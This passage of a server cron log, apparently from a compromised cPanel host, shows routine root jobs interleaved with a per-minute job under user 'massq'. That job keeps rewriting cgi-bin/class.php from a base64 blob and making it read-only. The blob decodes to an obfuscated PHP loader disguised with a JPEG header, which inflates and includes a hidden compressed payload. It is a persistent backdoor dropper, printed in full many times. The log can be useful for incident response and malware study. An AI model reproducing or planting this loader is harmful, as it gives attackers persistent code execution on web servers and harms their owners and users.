bxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:57:01 server CROND[20900]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 14:58:01 server CROND[21060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:59:01 server CROND[21139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:00:02 server CROND[21214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:00:02 server CROND[21216]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:00:02 server CROND[21215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 15:00:02 server CROND[21217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:01:01 server CROND[21344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:01:01 server CROND[21345]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 15:01:01 server run-parts(/etc/cron.hourly)[21345]: starting 0anacron
Apr  7 15:01:01 server run-parts(/etc/cron.hourly)[21357]: finished 0anacron
Apr  7 15:02:01 server CROND[21430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:03:01 server CROND[21609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:04:01 server CROND[21683]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:05:01 server CROND[21764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:05:01 server CROND[21765]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 15:05:01 server CROND[21766]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:05:01 server CROND[21767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:06:01 server CROND[21893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:07:01 server CROND[21960]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:08:01 server CROND[22122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:09:01 server CROND[22203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:09:01 server CROND[22204]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 15:10:01 server CROND[22294]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 15:10:01 server CROND[22295]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 15:10:01 server CROND[22297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 15:10:01 server CROND[22296]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 15:11:01 server CROND[22418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 